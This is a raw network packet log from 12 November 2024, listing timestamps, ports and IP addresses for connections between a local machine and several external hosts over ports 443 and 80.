Nov 12, 2024 04:16:12.581357002 CET	49710	443	192.168.2.5	142.250.185.100
Nov 12, 2024 04:16:14.323517084 CET	49719	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:14.323545933 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:14.323602915 CET	49719	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:14.323740005 CET	49719	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:14.323750973 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:14.394977093 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:14.395066977 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:15.047899008 CET	49721	443	192.168.2.5	142.250.185.100
Nov 12, 2024 04:16:15.047945023 CET	443	49721	142.250.185.100	192.168.2.5
Nov 12, 2024 04:16:15.048013926 CET	49721	443	192.168.2.5	142.250.185.100
Nov 12, 2024 04:16:15.048243046 CET	49721	443	192.168.2.5	142.250.185.100
Nov 12, 2024 04:16:15.048259020 CET	443	49721	142.250.185.100	192.168.2.5
Nov 12, 2024 04:16:15.187182903 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.187599897 CET	49719	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:15.187618017 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.188628912 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.188694000 CET	49719	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:15.189623117 CET	49719	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:15.189685106 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.189760923 CET	49719	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:15.189768076 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.234091043 CET	49719	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:15.322299004 CET	49723	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:15.322325945 CET	443	49723	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.322412968 CET	49723	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:15.322590113 CET	49723	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:15.322601080 CET	443	49723	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.438071966 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.438110113 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.438143015 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.438158989 CET	49719	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:15.438165903 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.438201904 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.438211918 CET	49719	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:15.438216925 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.438251019 CET	49719	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:15.438292027 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.446917057 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.446973085 CET	49719	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:15.446979046 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.499650002 CET	49719	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:15.499655008 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.511470079 CET	49725	443	192.168.2.5	184.28.90.27
Nov 12, 2024 04:16:15.511492968 CET	443	49725	184.28.90.27	192.168.2.5
Nov 12, 2024 04:16:15.511569023 CET	49725	443	192.168.2.5	184.28.90.27
Nov 12, 2024 04:16:15.513056993 CET	49725	443	192.168.2.5	184.28.90.27
Nov 12, 2024 04:16:15.513067007 CET	443	49725	184.28.90.27	192.168.2.5
Nov 12, 2024 04:16:15.546536922 CET	49719	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:15.554925919 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.554965973 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.555008888 CET	49719	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:15.555015087 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.562210083 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.562268019 CET	49719	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:15.562273026 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.566802979 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.566876888 CET	49719	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:15.566880941 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.575411081 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.575469971 CET	49719	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:15.575474977 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.584564924 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.584634066 CET	49719	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:15.584640980 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.594136000 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.594188929 CET	49719	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:15.594192982 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.602848053 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.602925062 CET	49719	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:15.602929115 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.612158060 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.612207890 CET	49719	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:15.612212896 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.620287895 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.620358944 CET	49719	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:15.620363951 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.671525955 CET	49719	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:15.671530962 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.671890020 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.671921968 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.671942949 CET	49719	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:15.671947956 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.671987057 CET	49719	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:15.671992064 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.672198057 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.672250032 CET	49719	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:15.672255993 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.678812027 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.678844929 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.678864956 CET	49719	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:15.678869009 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.678914070 CET	49719	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:15.686084986 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.689496994 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.689529896 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.689541101 CET	49719	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:15.689549923 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.689587116 CET	49719	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:15.696480989 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.702806950 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.702836990 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.702847958 CET	49719	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:15.702852964 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.702893019 CET	49719	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:15.708991051 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.715301991 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.715332985 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.715346098 CET	49719	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:15.715352058 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.715392113 CET	49719	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:15.721421003 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.727588892 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.727622986 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.727633953 CET	49719	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:15.727641106 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.727689028 CET	49719	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:15.733917952 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.739988089 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.740021944 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.740040064 CET	49719	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:15.740048885 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.740081072 CET	49719	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:15.746313095 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.752564907 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.752594948 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.752604961 CET	49719	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:15.752609968 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.752646923 CET	49719	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:15.760416985 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.765090942 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.765124083 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.765140057 CET	49719	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:15.765146017 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.765196085 CET	49719	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:15.782038927 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.782098055 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.782135010 CET	49719	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:15.782140970 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.788633108 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.788669109 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.788688898 CET	49719	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:15.788695097 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.788732052 CET	49719	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:15.789937019 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.796013117 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.796039104 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.796051979 CET	49719	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:15.796056032 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.796094894 CET	49719	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:15.801534891 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.807003021 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.807043076 CET	49719	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:15.807044983 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.807055950 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.807091951 CET	49719	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:15.812612057 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.818172932 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.818207979 CET	49719	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:15.818212032 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.823599100 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.823628902 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.823646069 CET	49719	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:15.823652029 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.823694944 CET	49719	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:15.827059984 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.874862909 CET	49719	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:15.874867916 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.875602961 CET	49719	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:15.875632048 CET	443	49719	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:15.875679016 CET	49719	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:15.913074970 CET	443	49721	142.250.185.100	192.168.2.5
Nov 12, 2024 04:16:15.913312912 CET	49721	443	192.168.2.5	142.250.185.100
Nov 12, 2024 04:16:15.913333893 CET	443	49721	142.250.185.100	192.168.2.5
Nov 12, 2024 04:16:15.914207935 CET	443	49721	142.250.185.100	192.168.2.5
Nov 12, 2024 04:16:15.914264917 CET	49721	443	192.168.2.5	142.250.185.100
Nov 12, 2024 04:16:15.914683104 CET	49721	443	192.168.2.5	142.250.185.100
Nov 12, 2024 04:16:15.914737940 CET	443	49721	142.250.185.100	192.168.2.5
Nov 12, 2024 04:16:15.968611956 CET	49721	443	192.168.2.5	142.250.185.100
Nov 12, 2024 04:16:15.968626976 CET	443	49721	142.250.185.100	192.168.2.5
Nov 12, 2024 04:16:16.015484095 CET	49721	443	192.168.2.5	142.250.185.100
Nov 12, 2024 04:16:16.177571058 CET	443	49723	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:16.177953005 CET	49723	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:16.177963972 CET	443	49723	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:16.178276062 CET	443	49723	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:16.178342104 CET	49723	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:16.178870916 CET	443	49723	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:16.178927898 CET	49723	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:16.180898905 CET	49723	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:16.180960894 CET	443	49723	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:16.181329966 CET	49723	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:16.181337118 CET	443	49723	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:16.181350946 CET	49723	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:16.227325916 CET	443	49723	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:16.234246969 CET	49723	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:16.376100063 CET	443	49725	184.28.90.27	192.168.2.5
Nov 12, 2024 04:16:16.376180887 CET	49725	443	192.168.2.5	184.28.90.27
Nov 12, 2024 04:16:16.439245939 CET	443	49723	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:16.448796988 CET	49725	443	192.168.2.5	184.28.90.27
Nov 12, 2024 04:16:16.448812008 CET	443	49725	184.28.90.27	192.168.2.5
Nov 12, 2024 04:16:16.449012995 CET	443	49725	184.28.90.27	192.168.2.5
Nov 12, 2024 04:16:16.487190008 CET	49723	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:16.487195969 CET	443	49723	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:16.503190041 CET	49725	443	192.168.2.5	184.28.90.27
Nov 12, 2024 04:16:16.508619070 CET	49723	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:16.508649111 CET	443	49723	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:16.508693933 CET	49723	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:16.688421965 CET	49725	443	192.168.2.5	184.28.90.27
Nov 12, 2024 04:16:16.731893063 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:16.732238054 CET	49729	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:16.735327959 CET	443	49725	184.28.90.27	192.168.2.5
Nov 12, 2024 04:16:16.736649990 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:16.737019062 CET	80	49729	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:16.737091064 CET	49729	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:16.737426996 CET	49729	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:16.737442970 CET	49729	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:16.742199898 CET	80	49729	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:16.742209911 CET	80	49729	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:16.932753086 CET	443	49725	184.28.90.27	192.168.2.5
Nov 12, 2024 04:16:16.932796001 CET	443	49725	184.28.90.27	192.168.2.5
Nov 12, 2024 04:16:16.932878971 CET	49725	443	192.168.2.5	184.28.90.27
Nov 12, 2024 04:16:16.932971001 CET	49725	443	192.168.2.5	184.28.90.27
Nov 12, 2024 04:16:16.932980061 CET	443	49725	184.28.90.27	192.168.2.5
Nov 12, 2024 04:16:16.932991982 CET	49725	443	192.168.2.5	184.28.90.27
Nov 12, 2024 04:16:16.932996035 CET	443	49725	184.28.90.27	192.168.2.5
Nov 12, 2024 04:16:16.985163927 CET	49730	443	192.168.2.5	184.28.90.27
Nov 12, 2024 04:16:16.985182047 CET	443	49730	184.28.90.27	192.168.2.5
Nov 12, 2024 04:16:16.985255003 CET	49730	443	192.168.2.5	184.28.90.27
Nov 12, 2024 04:16:16.985996008 CET	49730	443	192.168.2.5	184.28.90.27
Nov 12, 2024 04:16:16.986006021 CET	443	49730	184.28.90.27	192.168.2.5
Nov 12, 2024 04:16:17.659132004 CET	49731	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:17.659178972 CET	443	49731	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:17.659228086 CET	49731	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:17.667939901 CET	49731	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:17.667958975 CET	443	49731	172.217.18.14	192.168.2.5
Nov 12, 2024 04:16:17.855537891 CET	443	49730	184.28.90.27	192.168.2.5
Nov 12, 2024 04:16:17.855604887 CET	49730	443	192.168.2.5	184.28.90.27
Nov 12, 2024 04:16:17.857568979 CET	49730	443	192.168.2.5	184.28.90.27
Nov 12, 2024 04:16:17.857578039 CET	443	49730	184.28.90.27	192.168.2.5
Nov 12, 2024 04:16:17.857785940 CET	443	49730	184.28.90.27	192.168.2.5
Nov 12, 2024 04:16:17.858968973 CET	49730	443	192.168.2.5	184.28.90.27
Nov 12, 2024 04:16:17.903332949 CET	443	49730	184.28.90.27	192.168.2.5
Nov 12, 2024 04:16:18.106764078 CET	443	49730	184.28.90.27	192.168.2.5
Nov 12, 2024 04:16:18.106816053 CET	443	49730	184.28.90.27	192.168.2.5
Nov 12, 2024 04:16:18.107109070 CET	49730	443	192.168.2.5	184.28.90.27
Nov 12, 2024 04:16:18.107629061 CET	49730	443	192.168.2.5	184.28.90.27
Nov 12, 2024 04:16:18.107642889 CET	443	49730	184.28.90.27	192.168.2.5
Nov 12, 2024 04:16:18.107651949 CET	49730	443	192.168.2.5	184.28.90.27
Nov 12, 2024 04:16:18.107656956 CET	443	49730	184.28.90.27	192.168.2.5
Nov 12, 2024 04:16:18.151560068 CET	80	49729	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:18.151616096 CET	49729	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:18.273942947 CET	49729	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:18.278749943 CET	80	49729	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:18.328475952 CET	49731	443	192.168.2.5	172.217.18.14
Nov 12, 2024 04:16:18.330014944 CET	49721	443	192.168.2.5	142.250.185.100
Nov 12, 2024 04:16:19.049670935 CET	80	49729	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:19.056301117 CET	49729	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:19.654377937 CET	49732	443	192.168.2.5	52.149.20.212
Nov 12, 2024 04:16:19.654422998 CET	443	49732	52.149.20.212	192.168.2.5
Nov 12, 2024 04:16:19.654501915 CET	49732	443	192.168.2.5	52.149.20.212
Nov 12, 2024 04:16:19.655810118 CET	49732	443	192.168.2.5	52.149.20.212
Nov 12, 2024 04:16:19.655821085 CET	443	49732	52.149.20.212	192.168.2.5
Nov 12, 2024 04:16:20.585900068 CET	443	49732	52.149.20.212	192.168.2.5
Nov 12, 2024 04:16:20.585969925 CET	49732	443	192.168.2.5	52.149.20.212
Nov 12, 2024 04:16:20.657892942 CET	49732	443	192.168.2.5	52.149.20.212
Nov 12, 2024 04:16:20.657922029 CET	443	49732	52.149.20.212	192.168.2.5
Nov 12, 2024 04:16:20.658202887 CET	443	49732	52.149.20.212	192.168.2.5
Nov 12, 2024 04:16:20.702972889 CET	49732	443	192.168.2.5	52.149.20.212
Nov 12, 2024 04:16:22.599431992 CET	49740	443	192.168.2.5	94.245.104.56
Nov 12, 2024 04:16:22.599442005 CET	443	49740	94.245.104.56	192.168.2.5
Nov 12, 2024 04:16:22.599484921 CET	49740	443	192.168.2.5	94.245.104.56
Nov 12, 2024 04:16:22.600269079 CET	49740	443	192.168.2.5	94.245.104.56
Nov 12, 2024 04:16:22.600281954 CET	443	49740	94.245.104.56	192.168.2.5
Nov 12, 2024 04:16:23.232317924 CET	49741	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:23.232352972 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:23.236037970 CET	49741	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:23.236490965 CET	49741	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:23.236504078 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:23.671641111 CET	443	49740	94.245.104.56	192.168.2.5
Nov 12, 2024 04:16:23.676321983 CET	49740	443	192.168.2.5	94.245.104.56
Nov 12, 2024 04:16:23.676353931 CET	443	49740	94.245.104.56	192.168.2.5
Nov 12, 2024 04:16:23.677391052 CET	443	49740	94.245.104.56	192.168.2.5
Nov 12, 2024 04:16:23.677539110 CET	49740	443	192.168.2.5	94.245.104.56
Nov 12, 2024 04:16:23.678575039 CET	49740	443	192.168.2.5	94.245.104.56
Nov 12, 2024 04:16:23.678644896 CET	443	49740	94.245.104.56	192.168.2.5
Nov 12, 2024 04:16:23.678853989 CET	49740	443	192.168.2.5	94.245.104.56
Nov 12, 2024 04:16:23.678863049 CET	443	49740	94.245.104.56	192.168.2.5
Nov 12, 2024 04:16:23.817158937 CET	49740	443	192.168.2.5	94.245.104.56
Nov 12, 2024 04:16:23.915631056 CET	443	49740	94.245.104.56	192.168.2.5
Nov 12, 2024 04:16:23.984443903 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:23.984596968 CET	49741	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:24.020044088 CET	49740	443	192.168.2.5	94.245.104.56
Nov 12, 2024 04:16:24.020097017 CET	443	49740	94.245.104.56	192.168.2.5
Nov 12, 2024 04:16:24.020148039 CET	49740	443	192.168.2.5	94.245.104.56
Nov 12, 2024 04:16:24.027916908 CET	49741	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:24.027942896 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:24.028253078 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:24.114588022 CET	49741	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:24.136662960 CET	49741	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:24.179338932 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:24.209248066 CET	80	49729	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:24.209374905 CET	49729	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:24.631366968 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:24.631396055 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:24.631402969 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:24.631426096 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:24.631439924 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:24.631447077 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:24.631513119 CET	49741	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:24.631541967 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:24.631557941 CET	49741	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:24.631587982 CET	49741	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:24.633627892 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:24.633635998 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:24.633657932 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:24.633675098 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:24.633678913 CET	49741	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:24.633728027 CET	49741	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:24.633734941 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:24.633768082 CET	49741	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:24.750407934 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:24.750433922 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:24.750498056 CET	49741	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:24.750526905 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:24.750544071 CET	49741	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:24.751185894 CET	49741	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:24.751773119 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:24.751789093 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:24.751836061 CET	49741	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:24.751844883 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:24.751873970 CET	49741	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:24.751885891 CET	49741	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:24.752795935 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:24.752811909 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:24.752885103 CET	49741	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:24.752892971 CET	443	49741	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:24.752933025 CET	49741	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:24.778703928 CET	49729	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:24.778975010 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:24.783579111 CET	80	49729	185.215.113.206	192.168.2.5
